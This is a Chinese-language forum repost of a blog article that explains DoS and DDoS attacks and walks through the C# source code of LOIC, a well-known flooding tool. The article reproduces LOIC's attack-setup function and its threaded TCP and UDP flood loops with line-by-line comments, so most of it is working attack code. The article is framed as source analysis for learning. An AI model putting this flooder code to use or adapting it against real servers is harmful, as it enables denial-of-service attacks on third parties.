freeeyes 发表于 2015-12-31 08:46:22

轻松的方式解读“臭名昭著”的DDoS工具LOIC(低轨道离子加...

本文原创作者:VillanCh声明:Loic开源,仅作学习交流用,用作任何非法攻击事件与本站和本作者无关。Loic介绍:Loic(低轨道离子加农炮)是一个叫4Chan-affiliated的团体开发的,这个工具被成千上万的匿名使用者使用,在网络环境中,造成了很多混乱,使用DDos来对一个网站进行压力测试。就我自己而言,我是不喜欢这个工具的,但是很多人对这个工具属于一种崇拜。我一直以为loic这个工具是直接在链路层进行Flood,有非常高的效率或者怎么样的技术水平,但由于当时自己一直没有去寻找Loic的源码,没有去了解Loic到底是怎么一种"神奇"的工具。但是后来知道这玩意C#写的,之前没看过C#的项目,随意搜了一下百度什么的,我很好奇为什么大家对这个东西的源码闭口不提,也许是因为太无聊?也许是因为大家不屑于提这个所谓的加农炮?不管是好是坏这种无聊的事情,就给我这种无聊的人来做吧。攻击原理来自wiki的解释这里关于DoS与DDoS有很详细的解释,有兴趣的读者可以去详细看一下,个人觉得wiki还是很客观地在解释这个问题,但是鉴于wiki中有一些网络术语,如果大家阅读有困难的话,我可以很通俗地来解释一下DoS(DDoS)拒绝服务攻击:我们浏览一个网站,就要像这个网站发送数据包(合理请求),因为请求完全合理,那么也就意味着,网站将会正常处理我们的请求,这样就是说每一个请求都会消耗一些资源,那么在这样一种情景:比如大学抢课经常出现几千人同时在同一时间上网导致服务器"瘫痪"的事件,那么如果大家能理解到这里的话,我们简单来解释DoS就会变得很容易了,Dos就是你不停的发送某一个请求去占用服务器系统资源,就好比你充当了很多人同时访问一个网站一样,如果网站服务器无法承受这种压力的话自然会崩溃,对不对?DoS:拒绝服务攻击DDos:分布式拒绝服务攻击虽然只是三个字(一个字母)的差别,这两个攻击的威力差别很大,Dos大多数只不过指的是一台主机(攻击机)对目标进行攻击(发送过量的数据包请求来占用服务器资源),而DDoS是一群计算机(被控制者控制的僵尸网络)对目标发起攻击,强度是Dos的很多倍(有幸曾经见过一秒几十G的流量的DDos攻击,僵尸网络包含了多台高性能服务器)。现在截止15年11月aliyun声称他们的服务器已经可以抵御每秒上百G的DDos流量攻击。Loic初探Github上down下zip项目源码,打开没错就这么简单,没什么神奇的,初步看了一下,没错就是C#写的,其实这些真的没什么神奇的,下图是VS2013的界面,打开以后就是这个样子而已,如果你自己开发工具的话,我觉得也不过这样子,其实就是一个很普通的项目罢了,项目截图在下面,大家可以随意感受一下:http://121.42.165.233/wp-content/uploads/2015/12/120515_1336_LOIC1.png至于为什么我打开这个界面?相信大家有过MFC或者C#编程基础的同学都知道这样来分模块看代码不容易乱(这是什么理论),那我们就继续?OK我们现在应该做什么?还是先点一下启动吧,看看这个神秘的东西到底是怎么样的状况:http://121.42.165.233/wp-content/uploads/2015/12/120515_1336_LOIC2.png看起来非常容易使用,实际上,建议大家在虚拟环境做一下小实验,我们并不是要对这个工具讲解用法,这样没任何意义。我们是来分析Loic源码的,那么我们现在就开工吧!关于这个项目的源码分析说明:在开始分析以前,默认大家是有一定的软件开发基础的,但是笔者还是会很努力用一种简单的方式来讲述,以至于不懂得C#但是懂得其他的OOP语言的读者也能懂得项目函数的意义。首先要做的是在双击开始攻击按钮,http://121.42.165.233/wp-content/uploads/2015/12/120515_1336_LOIC3.png然后转到http://121.42.165.233/wp-content/uploads/2015/12/120515_1336_LOIC4.png选中右键attack,点击查看定义或者转到定义http://121.42.165.233/wp-content/uploads/2015/12/120515_1336_LOIC5.png然后我们就看到了发动攻击模块的源代码了然后我直接复制过来方便在注释中讲解一下攻击逻辑/*      我们直接转到了Attack函数,这样可以直接了解它的攻击逻辑模块      想必是极好的      首先Attack函数有三个参数      参数一:toggle是开关的意思,toggle为true且攻击按钮的文本是IMMA CHARGIN MAH LAZER时发动攻击。      参数二:on也是开关,这个开关当toggle为false且on为true的时候发动攻击。      参数三:设置静默攻击,(如果不是静默攻击的话,会提示出很多的恼人的Messagebox      再来看一下引用情况:      LOIC\frmMain.cs          408:Attack(false,false,true);          504:Attack(false,true,true);          574:Attack(true,false,false); */         private void Attack(bool toggle, bool on, bool silent)         { /* 这个if表明开始攻击的条件 确认cmdAttack.Text的内容并且同时toggle为true时,开始执行if内语句 或者 toggle为false且on为true时开始执行if内语句 */             if((cmdAttack.Text == "IMMA CHARGIN MAH LAZER" && toggle == true) || (toggle == false && on == true))             {               try               { /* 关于下面这两个try部分的内容,其实很好理解,就是设置端口和线程数,如果没有设置成功就会throw一个异常 */                     try { iPort = Convert.ToInt32(txtPort.Text); }                     catch { throw new Exception("I don't think ports are supposed to be written like THAT."); }                     try { iThreads = Convert.ToInt32(txtThreads.Text); }                     catch { throw new Exception("What on earth made you put THAT in the threads field?"); } /* 锁定IP,如果IP没填或者不对的话,抛出一个异常 */                     sIP = txtTarget.Text;                     if(String.IsNullOrEmpty(sIP) || String.Equals(sIP, "N O N E !"))                         throw new Exception("Select a target."); /* 这里是对sHost进行处理,sHost是目标主机名称,填了域名就是域名,没有填域名就是IP地址 */                     if( String.IsNullOrEmpty(sHost) ) sHost = sIP;                     if( !sHost.Contains("://") ) sHost = String.Concat("http://", sHost);                     sHost = new Uri(sHost).Host; /* * 关于攻击方式的选择 * 这里提供了三个可选方式 * 1代表TCP * 2代表UDP * 3代表HTTP */                     iProtocol = 0;                     sMethod = cbMethod.Text;                     if(String.Equals(sMethod, "TCP")) iProtocol = 1;                     if(String.Equals(sMethod, "UDP")) iProtocol = 2;                     if(String.Equals(sMethod, "HTTP")) iProtocol = 3;                     if(iProtocol == 0)                         throw new Exception("Select a proper attack method."); /* 这里显然是设置发送的数据包中的数据的 * 我猜你不会把自己的名字写进去的,对吧? */                     sData = txtData.Text.Replace("\\r", "\r").Replace("\\n", "\n");                     if(String.IsNullOrEmpty(sData) && (iProtocol == 1 || iProtocol == 2))                         throw new Exception("Gonna spam with no contents? You're a wise fellow, aren't ya? o.O"); /* * 这里是针对http subsite设置的一个text */                     sSubsite = txtSubsite.Text;                     if(!sSubsite.StartsWith("/") && (iProtocol == 3))                         throw new Exception("You have to enter a subsite (for example \"/\")"); /* * 设置超时信息 */                     try { iTimeout = Convert.ToInt32(txtTimeout.Text); }                     catch { throw new Exception("What's up with something like that in the timeout box? =S"); }               } /* * 异常处理(略) * 有经验的朋友我想这里不是问题, * 如果不懂得这里的代码是什么意思,我们可以简单理解为 * 如果发现上面try的代码抛出异常 * 捕获异常以后执行下面代码 */               catch (Exception ex)               {                     if(silent) return;                     new frmWtf().Show(); MessageBox.Show(ex.Message, "What the shit."); return;               } /* * 在正式的攻击开始之前先将文本设置为Stop Flooding */               cmdAttack.Text = "Stop flooding"; /* * 首先,对TCP和UDP的攻击方式进行处理 */               if(String.Equals(sMethod, "TCP") || String.Equals(sMethod, "UDP"))               { /* * 按照线程数建立XXPFlooder对象 * 一个线程对应一个XXPFlooder对象。 * * xxp是一个存储攻击对象数组 */                     xxp = new XXPFlooder[iThreads];                     for (int a = 0; a < xxp.Length; a++)                     { /*为每一个线程设计攻击参数 * sIP 目标ip地址 * iPort 目标端口号 * iProtocol 要是用的攻击协议 * iDelay 延迟 * chkWaitReply.Checked 是否判断需要受到回复(当然不检查回复的攻击速度更快) * sData 数据包的Data * chkAllowRandom.Checked 检查是否需要随机 * */ xxp[a = new XXPFlooder(sIP, iPort, iProtocol, iDelay, chkWaitReply.Checked, sData, chkAllowRandom.Checked);                         /* 启动 */ xxp[a].Start();                     }               } /* * 这里代码的组织形式和上面一样,我就不再多讲了,大家很容易可以看懂 */               if(String.Equals(sMethod, "HTTP"))               {                     http = new HTTPFlooder[iThreads];                     for (int a = 0; a < http.Length; a++)                     {                         http[a = new HTTPFlooder(sHost, sIP, iPort, sSubsite, chkWaitReply.Checked, iDelay, iTimeout, chkAllowRandom.Checked, chkAllowGzip.Checked);                         http[a].Start();                     }               } /* * 更新攻击的动态 */               tShowStats.Start();             } /* * 如果toggle是true或者是on为false时,关闭攻击 */             else if(toggle == true || on == false)             {               cmdAttack.Text = "IMMA CHARGIN MAH LAZER";               if(xxp != null)               {                     for (int a = 0; a < xxp.Length; a++)                     {                         xxp[a].IsFlooding = false;                     }               }               if(http != null)               {                     for (int a = 0; a < http.Length; a++)                     {                         http[a].IsFlooding = false;                     }               }               //tShowStats.Stop();             }         }
接下来我们对照几个图片来理解一下段代码的意思首先是http://121.42.165.233/wp-content/uploads/2015/12/120515_1336_LOIC6.pnghttp://121.42.165.233/wp-content/uploads/2015/12/120515_1336_LOIC7.pnghttp://121.42.165.233/wp-content/uploads/2015/12/120515_1336_LOIC8.pnghttp://121.42.165.233/wp-content/uploads/2015/12/120515_1336_LOIC9.pnghttp://121.42.165.233/wp-content/uploads/2015/12/120515_1336_LOIC10.png这样我们就对整体上的攻击逻辑和参数设置有了一定的了解,但是我们还没有深入去看到底是怎么样的攻击方法会造成Dos?寻找真正的攻击模块显然我们需要更加深层去看一下接下来的内容,以TCP模式的攻击为例,我们继续深入看一下攻击模块首先我们需要找到真正的攻击模块,http://121.42.165.233/wp-content/uploads/2015/12/120515_1336_LOIC11.png右击Start然后选择"转到定义"/* * 然后我们找到了Start()启动攻击开关 */      public void Start()      { /* 设置开始攻击的标志 */            IsFlooding = true; /* * BackgroundWorker 是一个负责后台运行的程序 * * 设置后台运行的对象 */            BackgroundWorker bw = new BackgroundWorker(); /* 这里设置真正后台运行的程序,下面代码表明了后台线程函数名称是bw_DoWork */            bw.DoWork += new DoWorkEventHandler(bw_DoWork);            bw.RunWorkerAsync();      }Hummmm 到这里我们似乎是找到了攻击模块但是还不是我们想要的。显然我们需要去寻找bw_DoWork这个函数,那么我直接把函数写在下面方便大家看,同样的代码里我尽可能详细地加入了注释,我相信大家都还是可以理解的。/* 这个bw_DoWork就是真正每一个线程后台在起作用的部分 * 换句话说,这就是每个线程真正在做的事情 */      private void bw_DoWork(object sender, DoWorkEventArgs e)      {            try            {                byte[] buf; /* IPEndPoint 表示通过IP和Port建立一个表示被攻击的主机的网络节点,*/                IPEndPoint RHost = new System.Net.IPEndPoint(System.Net.IPAddress.Parse(IP), Port); /* 开始进入攻击循环 */ while (IsFlooding)                { //建立socket                  Socket socket = null;                  //如果是TCP的攻击模式的话执行if内语句。 if(Protocol == 1)                  { //初始化Socket对象                        socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);                        //设置为不延迟 socket.NoDelay = true; //调用socket去链接目标,其实这已经算是完成了一次攻击 //因为去连接的时候要进行很经典的三次握手 //(如果对TCPIP协议族有兴趣的读者可以自行研究)                        try { socket.Connect(RHost); }                        catch { continue; } /* * 设置是否阻塞, * 关于阻塞的概念,我们简单理解为 * 如果阻塞的话,必须等待回复之后才可以进行另外的连接 * 如果设置非阻塞,无需等待回复,直接可以进行连接 */                        socket.Blocking = Resp;                        try                        {                            while (IsFlooding)                            { //这里开始正式的攻击计数                              FloodCount++; //下面是一条复合语句,如果大家阅读有困难的话我可以解释一小下 //如果随机选项被设定的话,可以随机产生Data+String的数据,并且被ASCII编码,传递给buf                              buf = System.Text.Encoding.ASCII.GetBytes(String.Concat(Data, (AllowRandom ? Functions.RandomString() : null) ));                              //发送随机无效的数据 socket.Send(buf); //延迟+1,如果延迟过短的话很有可能造成紊乱,当然延迟大的话,攻击效果可能差一点                              if(Delay >= 0) System.Threading.Thread.Sleep(Delay+1);                            }                        }                        catch { }                  } /* 同样的,下面的代码和上面的代码如出一辙,真的很简单。不是么? */                  if(Protocol == 2)                  {                        socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);                        socket.Blocking = Resp;                        try                        {                            while (IsFlooding)                            {                              FloodCount++;                              buf = System.Text.Encoding.ASCII.GetBytes(String.Concat(Data, (AllowRandom ? Functions.RandomString() : null) ));                              socket.SendTo(buf, SocketFlags.None, RHost);                              if(Delay >= 0) System.Threading.Thread.Sleep(Delay+1);                            }                        }                        catch { }                  }                }            }            catch { }
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